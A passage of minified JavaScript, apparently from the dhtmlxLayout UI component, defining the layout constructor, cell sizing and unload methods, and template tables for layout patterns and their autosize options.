u=null;if(e!=null&&typeof(e)==\"object\"&&typeof(e.tagName)==\"undefined\"&&e._isCell!=true){u={};if(e.autosize!=null){u.autosize=e.autosize}if(e.cells!=null){u.cells=e.cells}if(e.pattern!=null){o=e.pattern}if(e.skin!=null){w=e.skin}if(e.offsets!=null){u.offsets=e.offsets}e=e.parent}this.cdata={};this.conf={skin:(w||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxlayout\")||\"dhx_skyblue\"),css:\"dhxlayout\",hh:20,autosize:\"b\",nextCell:{a:\"b\",b:\"a\"},inited:false,b_size:{w:-1,h:-1}};if(typeof(e)==\"object\"&&e._isCell==true){var n=(typeof(u)!=\"undefined\"&&u!=null?u:{});if(n.pattern==null&&o!=null){n.pattern=o}if(n.skin==null&&w!=null){n.skin=w}var l=e.attachLayout(n);return l}window.dhtmlXCellTop.apply(this,[e,(u==null?null:u.offsets)]);this.conf.sw=this._detectSW();var m=this;this._getLayout=function(){return this};this.mainInst=(e._layoutMainInst!=null?e._layoutMainInst:null);this._getMainInst=function(){if(this.mainInst!=null){return this.mainInst._getMainInst()}return this};this._init=function(A){var y=(typeof(A)==\"string\"?this.tplData[A]:A);this.conf.mode=y.mode;if(this.conf.mode==\"c\"){this.cdata.a=new dhtmlXLayoutCell(\"a\",this)}else{this.cdata.a=new dhtmlXLayoutCell(\"a\",this);this.cdata.b=new dhtmlXLayoutCell(\"b\",this)}for(var x in this.cdata){this.cont.appendChild(this.cdata[x].cell);this.cdata[x].conf.init={w:0.5,h:0.5}}if(this.conf.mode!=\"c\"){var q=this._getMainInst();if(q.conf.sep_idx==null){q.conf.sep_idx=1}else{q.conf.sep_idx++}this.sep=new dhtmlXLayoutSepObject(this.conf.mode,q.conf.sep_idx);this.cont.appendChild(this.sep.sep);this.sep._getLayout=function(){return m._getLayout()};q=null}if(y.cells!=null){for(var x in y.cells){if(y.cells[x].width!=null){this.cdata[x].conf.init.w=y.cells[x].width}if(y.cells[x].height!=null){this.cdata[x].conf.init.h=y.cells[x].height}if(y.cells[x].name!=null){this.cdata[x].conf.name=y.cells[x].name;this.cdata[x].setText(y.cells[x].name)}if(y.cells[x].fsize!=null){this.cdata[x].conf.fsize=y.cells[x].fsize}}}this.setSizes();for(var x in this.cdata){this.cdata[x].conf.init={}}if(y.cells!=null){for(var x in y.cells){if(y.cells[x].layout!=null){this.cdata[x].dataNested=true;this.cdata[x]._layoutMainInst=this;this.cdata[x].attachLayout({pattern:y.cells[x].layout});this.cdata[x]._layoutMainInst=null}}}};this.setSizes=function(E,M,I,x){var F=(this.conf.inited==true&&this._getMainInst()==this&&this.checkEvent(\"onResizeFinish\")==true?{}:false);this._adjustCont();var L=this.cont.offsetWidth;var C=this.cont.offsetHeight;if(this.conf.mode==\"c\"){var a=0;var N=0;var q=L;var K=C;this.cdata.a._setSize(a,N,q,K,E,I,x);this.callEvent(\"_onSetSizes\",[]);if(F&&(!(this.conf.b_size.w==L&&this.conf.b_size.h==C))){this._callMainEvent(\"onResizeFinish\",[])}this.conf.b_size={w:L,h:C};return}if(typeof(M)==\"undefined\"){var y=(this.conf.mode==\"v\"?\"w\":\"h\");M=this.conf.autosize;if(this.cdata.a.conf.collapsed){M=\"b\"}else{if(this.cdata.b.conf.collapsed){M=\"a\"}else{if(E==\"a\"||E==\"b\"){M=this.conf.nextCell[E]}}}}else{}if(this.conf.mode==\"v\"){if(M==\"a\"){if(this.cdata.b.conf.init.w!=null){var J=Math.round(L*this.cdata.b.conf.init.w-this.conf.sw/2)}else{var J=this.cdata.b.conf.size.w}var H=L-J;var D=0;var A=C;var a=0;var N=D;var q=H-a-this.conf.sw;var K=A}else{var a=0;var N=0;if(this.cdata.a.conf.init.w!=null){var q=Math.round(L*this.cdata.a.conf.init.w-this.conf.sw/2)-a}else{var q=this.cdata.a.conf.size.w}var K=C-N;var H=a+q+this.conf.sw;var D=N;var J=L-H;var A=K}this.cdata.a._setSize(a,N,q,K,E,I,x);this.cdata.b._setSize(H,D,J,A,E,I,x);this.sep._setSize(a+q,N,this.conf.sw,K)}else{if(M==\"a\"){if(this.cdata.b.conf.init.h!=null){var A=Math.round(C*this.cdata.b.conf.init.h-this.conf.sw/2)}else{var A=this.cdata.b.conf.size.h}var H=0;var D=C-A;var J=L-H;var a=H;var N=0;var q=J;var K=D-N-this.conf.sw}else{var a=0;var N=0;var q=L-a;if(this.cdata.a.conf.init.h!=null){var K=Math.round(C*this.cdata.a.conf.init.h-this.conf.sw/2)}else{var K=this.cdata.a.conf.size.h}var H=a;var D=N+K+this.conf.sw;var J=q;var A=C-D}this.cdata.a._setSize(a,N,q,K,E,I,x);this.cdata.b._setSize(H,D,J,A,E,I,x);this.sep._setSize(a,N+K,q,this.conf.sw)}this.callEvent(\"_onSetSizes\",[]);if(F&&(!(this.conf.b_size.w==L&&this.conf.b_size.h==C))){this._callMainEvent(\"onResizeFinish\",[])}this.conf.b_size={w:L,h:C}};this._getAvailWidth=function(){var A=[];for(var E=0;E<this.conf.as_cells.h.length;E++){var x=this.cells(this.conf.as_cells.h[E]);var C=x.layout;var y=C.conf.autosize;if(x.conf.collapsed){x=C.cdata[C.conf.nextCell[x._idd]];y=C.conf.nextCell[y]}A.push(Math.max(0,x.getWidth()-x._getMinWidth(y)));C=x=null}var D=(A.length>0?Math.min.apply(window,A):0);return this.cont.offsetWidth-D};this._getAvailHeight=function(){var C=[];for(var E=0;E<this.conf.as_cells.v.length;E++){var x=this.cells(this.conf.as_cells.v[E]);var A=x.layout;var y=A.conf.autosize;if(x.conf.collapsed){x=A.cdata[A.conf.nextCell[x._idd]];y=A.conf.nextCell[y]}C.push(Math.max(0,x.getHeight()-x._getHdrHeight()-x._getMinHeight(y)));A=x=null}var D=Math.min.apply(window,C);return this.cont.offsetHeight-D};this.setSkin=function(a){this._setBaseSkin(a);this.conf.skin=a};this.unload=function(){this.conf.unloading=true;this.mainInst=null;this.parentLayout=null;if(this.items!=null){for(var y=0;y<this.items.length;y++){this.items[y]=null}this.items=null}if(this.dhxWins!=null){this.dhxWins.unload();this.dhxWins=null}if(this.sep!=null){this.sep._unload();this.sep=null}for(var x in this.cdata){this.cdata[x]._unload();this.cdata[x]=null}this._unloadTop();window.dhx4._eventable(this,\"clear\");for(var x in this){this[x]=null}m=null};this._getWindowMinDimension=function(y){var a=m._getAvailWidth()+7+7;var x=m._getAvailHeight()+7+31;var q={w:Math.max(a,200),h:Math.max(x,140)};y=null;return q};window.dhx4._eventable(this);this._callMainEvent=function(q,a){return this.callEvent(q,a)};this._init(o||\"3E\");var r=this._availAutoSize[o];if(r!=null){this.conf.pattern=o;this.setAutoSize(r.h[r.h.length-1],r.v[r.v.length-1])}if(typeof(window.dhtmlXWindows)==\"function\"&&this.mainInst==null){var g={vp_overflow:(this.conf.fs_mode==true?false:\"auto\")};this.dhxWins=new dhtmlXWindows(g);this.dhxWins.setSkin(this.conf.skin)}this.conf.inited=true;if(this==this._getMainInst()){var s=0;this.items=[];this.forEachItem(function(a){m.items.push(a);a.conf.index=s++})}if(this==this._getMainInst()&&u!=null){if(u.autosize!=null){this.setAutoSize.apply(this,u.autosize)}if(u.cells!=null){for(var c=0;c<u.cells.length;c++){var h=u.cells[c];var v=this.cells(h.id);if(h.width){v.setWidth(h.width)}if(h.height){v.setHeight(h.height)}if(h.text){v.setText(h.text)}if(h.collapsed_text){v.setCollapsedText(h.collapsed_text)}if(h.collapse){v.collapse()}if(h.fix_size){v.fixSize(h.fix_size[0],h.fix_size[1])}if(typeof(h.header)!=\"undefined\"&&window.dhx4.s2b(h.header)==false){v.hideHeader()}}}}u=null;return this}dhtmlXLayoutObject.prototype=new dhtmlXCellTop();dhtmlXLayoutObject.prototype.cells=function(g){for(var c in this.cdata){if(this.cdata[c].conf.name==g){return this.cdata[c]}if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){var e=this.cdata[c].dataObj.cells(g);if(e!=null){return e}}}return null};dhtmlXLayoutObject.prototype.forEachItem=function(g,e){if(typeof(g)!=\"function\"){return}if(typeof(e)==\"undefined\"){e=this}for(var c in this.cdata){if(typeof(this.cdata[c].conf.name)!=\"undefined\"){g.apply(e,[this.cdata[c]])}if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){this.cdata[c].dataObj.forEachItem(g,e)}}e=null};dhtmlXLayoutObject.prototype._forEachSep=function(g,e){if(typeof(g)!=\"function\"){return}if(typeof(e)==\"undefined\"){e=this}if(this.sep!=null){g.apply(e,[this.sep])}for(var c in this.cdata){if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){this.cdata[c].dataObj._forEachSep(g,e)}}e=null};dhtmlXLayoutObject.prototype._detectSW=function(){if(this._confGlob.sw==null){this._confGlob.sw={}}if(this._confGlob.sw[this.conf.skin]==null){this._confGlob.sw[this.conf.skin]=window.dhx4.readFromCss(\"dhxlayout_sep_sw_\"+this.conf.skin)}return this._confGlob.sw[this.conf.skin]};dhtmlXLayoutObject.prototype._confGlob={};dhtmlXLayoutObject.prototype.listPatterns=function(){var e=[];for(var c in this.tplData){e.push(c)}return e};dhtmlXLayoutObject.prototype.listAutoSizes=function(){var g=(this.conf.as_cells!=null?(this.conf.as_cells.h).join(\";\"):\"\");var e=(this.conf.as_cells!=null?(this.conf.as_cells.v).join(\";\"):\"\");var c=this._availAutoSize[this.conf.pattern].h;var a=this._availAutoSize[this.conf.pattern].v;return[g,e,c,a]};dhtmlXLayoutObject.prototype._getCellsNames=function(g){var h={};if(this.cdata[g].conf.name!=null){h[this.cdata[g].conf.name]=true}if(this.cdata[g].dataType==\"layout\"&&this.cdata[g].dataObj!=null&&this.cdata[g].dataObj.mainInst==this){var c=this.cdata[g].dataObj._getCellsNames(\"a\");var l=this.cdata[g].dataObj._getCellsNames(\"b\");for(var e in c){h[e]=c[e]}for(var e in l){h[e]=l[e]}}return h};dhtmlXLayoutObject.prototype.setAutoSize=function(c,o,r){if(r!==true){var v=this.listAutoSizes();if(v[0]==c&&v[1]==o){return}var n=false;var l=false;for(var e=0;e<v[2].length;e++){n=n||v[2][e]==c}for(var e=0;e<v[3].length;e++){l=l||v[3][e]==o}if(!n||!l){return}}this.conf.as_cells={h:c.split(\";\"),v:o.split(\";\")};var g=(this.conf.mode==\"v\"?\"h\":\"v\");for(var u in this.cdata){var h=this._getCellsNames(u);var w=false;for(var e=0;e<this.conf.as_cells[g].length;e++){w=w||h[this.conf.as_cells[g][e]]}if(w){this.conf.autosize=u}if(this.cdata[u].dataType==\"layout\"&&this.cdata[u].dataObj!=null){this.cdata[u].dataObj.setAutoSize(c,o,true)}}};dhtmlXLayoutObject.prototype.tplData={\"1C\":{mode:\"c\",cells:{a:{name:\"a\"}}},\"2E\":{mode:\"h\",cells:{a:{name:\"a\",fsize:{v:1}},b:{name:\"b\",fsize:{v:1}}}},\"2U\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{name:\"b\",fsize:{h:1}}}},\"3E\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{v:[1,2]}},b:{name:\"c\",fsize:{v:2}}}}}}},\"3W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[1,2]}},b:{name:\"c\",fsize:{h:2}}}}}}},\"3J\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",fsize:{h:1,v:2}},b:{name:\"c\",fsize:{h:1,v:2}}}}},b:{name:\"b\",fsize:{h:1}}}},\"3L\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:2}},b:{name:\"c\",fsize:{h:1,v:2}}}}}}},\"3T\":{mode:\"h\",cells:{a:{name:\"a\",fsize:{v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:2,v:1}},b:{name:\"c\",fsize:{h:2,v:1}}}}}}},\"3U\":{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:2,v:1}},b:{name:\"b\",fsize:{h:2,v:1}}}}},b:{name:\"c\",fsize:{v:1}}}},\"4H\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:[1,2],v:3}},b:{name:\"c\",fsize:{h:[1,2],v:3}}}}},b:{name:\"d\",fsize:{h:2}}}}}}},\"4I\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:3,v:[1,2]}},b:{name:\"c\",fsize:{h:3,v:[1,2]}}}}},b:{name:\"d\",fsize:{v:2}}}}}}},\"4T\":{mode:\"h\",cells:{a:{name:\"a\",fsize:{v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:2,v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[2,3],v:1}},b:{name:\"d\",fsize:{h:3,v:1}}}}}}}}}},\"4U\":{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:2,v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[2,3],v:1}},b:{name:\"c\",fsize:{h:3,v:1}}}}}}}},b:{name:\"d\",fsize:{v:1}}}},\"4E\":{mode:\"h\",cells:{a:{name:\"a\",height:1/4,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{v:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{v:[2,3]}},b:{name:\"d\",fsize:{v:3}}}}}}}}}},\"4W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/4,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[2,3]}},b:{name:\"d\",fsize:{h:3}}}}}}}}}},\"4A\":{mode:\"v\",cells:{a:{width:1/3,layout:{mode:\"h\",cells:{a:{name:\"a\",fsize:{h:1,v:2}},b:{name:\"b\",fsize:{h:1,v:2}}}}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[1,3]}},b:{name:\"d\",fsize:{h:3}}}}}}},\"4L\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:2,v:3}},b:{name:\"d\",fsize:{h:2,v:3}}}}}}}}}},\"4J\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:3,v:2}},b:{name:\"d\",fsize:{h:3,v:2}}}}}}}}}},\"4F\":{mode:\"h\",cells:{a:{height:1/3,layout:{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:2,v:1}},b:{name:\"b\",fsize:{h:2,v:1}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{v:[1,3]}},b:{name:\"d\",fsize:{v:3}}}}}}},\"4G\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:[2,3]}},b:{name:\"c\",fsize:{h:1,v:3}}}}}}}},b:{name:\"d\",fsize:{h:1}}}},\"4C\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:1,v:[2,3]}},b:{name:\"d\",fsize:{h:1,v:3}}}}}}}}}},\"5H\":{mode:\"v\",cells:{a:{width:1/3,name:\"a\",fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{h:[1,2],v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:[1,2],v:[3,4]}},b:{name:\"d\",fsize:{h:[1,2],v:4}}}}}}}},b:{name:\"e\",fsize:{h:2}}}}}}},\"5I\":{mode:\"h\",cells:{a:{height:1/3,name:\"a\",fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:3,v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[3,4],v:[1,2]}},b:{name:\"d\",fsize:{h:4,v:[1,2]}}}}}}}},b:{name:\"e\",fsize:{v:2}}}}}}},\"5U\":{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"a\",width:1/4,fsize:{h:2,v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/3,fsize:{h:[2,3],v:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",fsize:{h:[3,4],v:1}},b:{name:\"d\",fsize:{h:4,v:1}}}}}}}}}}},b:{name:\"e\",fsize:{v:1}}}},\"5E\":{mode:\"h\",cells:{a:{name:\"a\",height:1/5,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/4,fsize:{v:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{v:[3,4]}},b:{name:\"e\",fsize:{v:4}}}}}}}}}}}}},\"5W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/5,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/4,fsize:{h:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/3,fsize:{h:[2,3]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",fsize:{h:[3,4]}},b:{name:\"e\",fsize:{h:4}}}}}}}}}}}}},\"5K\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:[2,3]}},b:{name:\"c\",fsize:{h:1,v:3}}}}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:4}},b:{name:\"e\",fsize:{h:1,v:4}}}}}}},\"5S\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",fsize:{h:1,v:2}},b:{name:\"b\",fsize:{h:1,v:2}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:1,v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:[3,2]}},b:{name:\"e\",fsize:{h:1,v:4}}}}}}}}}},\"5G\":{mode:\"v\",cells:{a:{width:1/3,layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",fsize:{h:1,v:[2,3]}},b:{name:\"c\",fsize:{h:1,v:3}}}}}}}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",fsize:{h:[1,4]}},b:{name:\"e\",fsize:{h:4}}}}}}},\"5C\":{mode:\"v\",cells:{a:{width:2/3,layout:{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:2}},b:{name:\"b\",fsize:{h:[2,1]}}}}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:1,v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:[3,4]}},b:{name:\"e\",fsize:{h:1,v:4}}}}}}}}}},\"6H\":{mode:\"v\",cells:{a:{width:1/3,name:\"a\",fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/4,fsize:{h:[1,2],v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:[1,2],v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:[1,2],v:[4,5]}},b:{name:\"e\",fsize:{h:[1,2],v:5}}}}}}}}}}},b:{name:\"f\",fsize:{h:2}}}}}}},\"6I\":{mode:\"h\",cells:{a:{height:1/3,name:\"a\",fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/4,fsize:{h:3,v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/3,fsize:{h:[3,4],v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",fsize:{h:[4,5],v:[1,2]}},b:{name:\"e\",fsize:{h:5,v:[1,2]}}}}}}}}}}},b:{name:\"f\",fsize:{v:2}}}}}}},\"6A\":{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/5,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/4,fsize:{h:1,v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/3,fsize:{h:1,v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",fsize:{h:1,v:[4,5]}},b:{name:\"e\",fsize:{h:1,v:5}}}}}}}}}}}}}},b:{name:\"f\",fsize:{h:1}}}},\"6C\":{mode:\"v\",cells:{a:{name:\"a\",fsize:{h:1}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/5,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/4,fsize:{h:1,v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",height:1/3,fsize:{h:1,v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"e\",fsize:{h:1,v:[4,5]}},b:{name:\"f\",fsize:{h:1,v:5}}}}}}}}}}}}}}}},\"6J\":{mode:\"v\",cells:{a:{width:1/3,layout:{mode:\"h\",cells:{a:{name:\"a\",height:1/4,fsize:{h:1,v:2}},b:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/3,fsize:{h:1,v:[2,3]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",fsize:{h:1,v:[3,4]}},b:{name:\"d\",fsize:{h:1,v:4}}}}}}}}}}},b:{layout:{mode:\"v\",cells:{a:{name:\"e\",fsize:{h:[1,5]}},b:{name:\"f\",fsize:{h:5}}}}}}},\"6E\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",fsize:{h:[1,2]}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/4,fsize:{h:2,v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",height:1/3,fsize:{h:2,v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"e\",fsize:{h:2,v:[4,5]}},b:{name:\"f\",fsize:{h:2,v:5}}}}}}}}}}}}}}}},\"6W\":{mode:\"v\",cells:{a:{name:\"a\",width:1/6,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/5,fsize:{h:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/4,fsize:{h:[2,3]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",width:1/3,fsize:{h:[3,4]}},b:{layout:{mode:\"v\",cells:{a:{name:\"e\",fsize:{h:[4,5]}},b:{name:\"f\",fsize:{h:5}}}}}}}}}}}}}}}},\"7H\":{mode:\"v\",cells:{a:{name:\"a\",width:1/3,fsize:{h:1}},b:{layout:{mode:\"v\",cells:{a:{layout:{mode:\"h\",cells:{a:{name:\"b\",height:1/5,fsize:{h:[1,2],v:3}},b:{layout:{mode:\"h\",cells:{a:{name:\"c\",height:1/4,fsize:{h:[1,2],v:[3,4]}},b:{layout:{mode:\"h\",cells:{a:{name:\"d\",height:1/3,fsize:{h:[1,2],v:[4,5]}},b:{layout:{mode:\"h\",cells:{a:{name:\"e\",fsize:{h:[1,2],v:[5,6]}},b:{name:\"f\",fsize:{h:[1,2],v:6}}}}}}}}}}}}}},b:{name:\"g\",fsize:{h:2}}}}}}},\"7I\":{mode:\"h\",cells:{a:{name:\"a\",height:1/3,fsize:{v:1}},b:{layout:{mode:\"h\",cells:{a:{layout:{mode:\"v\",cells:{a:{name:\"b\",width:1/5,fsize:{h:3,v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"c\",width:1/4,fsize:{h:[3,4],v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"d\",width:1/3,fsize:{h:[4,5],v:[1,2]}},b:{layout:{mode:\"v\",cells:{a:{name:\"e\",fsize:{h:[5,6],v:[1,2]}},b:{name:\"f\",fsize:{h:6,v:[1,2]}}}}}}}}}}}}}},b:{name:\"g\",fsize:{v:2}}}}}}}};dhtmlXLayoutObject.prototype._availAutoSize={\"1C\":{h:[\"a\"],v:[\"a\"]},\"2E\":{h:[\"a;b\"],v:[\"a\",\"b\"]},\"2U\":{h:[\"a\",\"b\"],v:[\"a;b\"]},\"3E\":{h:[\"a;b;c\"],v:[\"a\",\"b\",\"c\"]},\"3W\":{h:[\"a\",\"b\",\"c\"],v:[\"a;b;c\"]},\"3J\":{h:[\"a;c\",\"b\"],v:[\"a;b\",\"b;c\"]},\"3L\":{h:[\"a\",\"b;c\"],v:[\"a;b\",\"a;c\"]},\"3T\":{h:[\"a;b\",\"a;c\"],v:[\"a\",\"b;c\"]},\"3U\":{h:[\"a;c\",\"b;c\"],v:[\"a;b\",\"c\"]},\"4H\":{h:[\"a\",\"b;c\",\"d\"],v:[\"a;b;d\",\"a;c;d\"]},\"4I\":{h:[\"a;b;d\",\"a;c;d\"],v:[\"a\",\"b;c\",\"d\"]},\"4T\":{h:[\"a;b\",\"a;c\",\"a;d\"],v:[\"a\",\"b;c;d\"]},\"4U\":{h:[\"a;d\",\"b;d\",\"c;d\"],v:[\"a;b;c\",\"d\"]},\"4E\":{h:[\"a;b;c;d\"],v:[\"a\",\"b\",\"c\",\"d\"]},\"4W\":{h:[\"a\",\"b\",\"c\",\"d\"],v:[\"a;b;c;d\"]},\"4A\":{h:[\"a;b\",\"c\",\"d\"],v:[\"a;c;d\",\"b;c;d\"]},\"4L\":{h:[\"a\",\"b\",\"c;d\"],v:[\"a;b;c\",\"a;b;d\"]},\"4J\":{h:[\"a;b;c\",\"a;b;d\"],v:[\"a\",\"b\",\"c;d\"]},\"4F\":{h:[\"a;c;d\",\"b;c;d\"],v:[\"a;b\",\"c\",\"d\"]},\"4G\":{h:[\"a;b;c\",\"d\"],v:[\"a;d\",\"b;d\",\"c;d\"]},\"4C\":{h:[\"a\",\"b;c;d\"],v:[\"a;b\",\"a;c\",\"a;d\"]},\"5H\":{h:[\"a\",\"b;c;d\",\"e\"],v:[\"a;b;e\",\"a;c;e\",\"a;d;e\"]},\"5I\":{h:[\"a;b;e\",\"a;c;e\",\"a;d;e\"],v:[\"a\",\"b;c;d\",\"e\"]},\"5U\":{h:[\"a;e\",\"b;e\",\"c;e\",\"d;e\"],v:[\"a;b;c;d\",\"e\"]},\"5E\":{h:[\"a;b;c;d;e\"],v:[\"a\",\"b\",\"c\",\"d\",\"e\"]},\"5W\":{h:[\"a\",\"b\",\"c\",\"d\",\"e\"],v:[\"a;b;c;d;e\"]},\"5K\":{h:[\"a;b;c\",\"d;e\"],v:[\"a;d\",\"b;d\",\"c;d\",\"a;e\",\"b;e\",\"c;e\"]},\"5S\":{h:[\"a;b\",\"c;d;e\"],v:[\"a;c\",\"a;d\",\"a;e\",\"b;c\",\"b;d\",\"b;e\"]},\"5G\":{h:[\"a;b;c\",\"d\",\"e\"],v:[\"a;d;e\",\"b;d;e\",\"c;d;e\"]},\"5C\":{h:[\"a\",\"b\",\"c;d;e\"],v:[\"a;b;c\",\"a;b;d\",\"a;b;e\"]},\"6H\":{h:[\"a\",\"b;c;d;e\",\"f\"],v:[\"a;b;f\",\"a;c;f\",\"a;d;f\",\"a;e;f\"]},\"6I\":{h:[\"a;b;f\",\"a;c;f\",\"a;d;f\",\"a;e;f\"],v:[\"a\",\"b;c;d;e\",\"f\"]},\"6A\":{h:[\"a;b;c;d;e\",\"f\"],v:[\"a;f\",\"b;f\",\"c;f\",\"d;f\",\"e;f\"]},\"6C\":{h:[\"a\",\"b;c;d;e;f\"],v:[\"a;b\",\"a;c\",\"a;d\",\"a;e\",\"a;f\"]},\"6J\":{h:[\"a;b;c;d\",\"e\",\"f\"],v:[\"a;e;f\",\"b;e;f\",\"c;e;f\",\"d;e;f\"]},\"6E\":{h:[\"a\",\"b\",\"c;d;e;f\"],v:[\"a;b;c\",\"a;b;d\",\"a;b;e\",\"a;b;f\"]},\"6W\":{h:[\"a\",\"b\",\"c\",\"d\",\"e\",\"f\"],v:[\"a;b;c;d;e;f\"]},\"7H\":{h:[\"a\",\"b;c;d;e;f\",\"g\"],v:[\"a;b;g\",\"a;c;g\",\"a;d;g\",\"a;e;g\",\"a;f;g\"]},\"7I\":{h:[\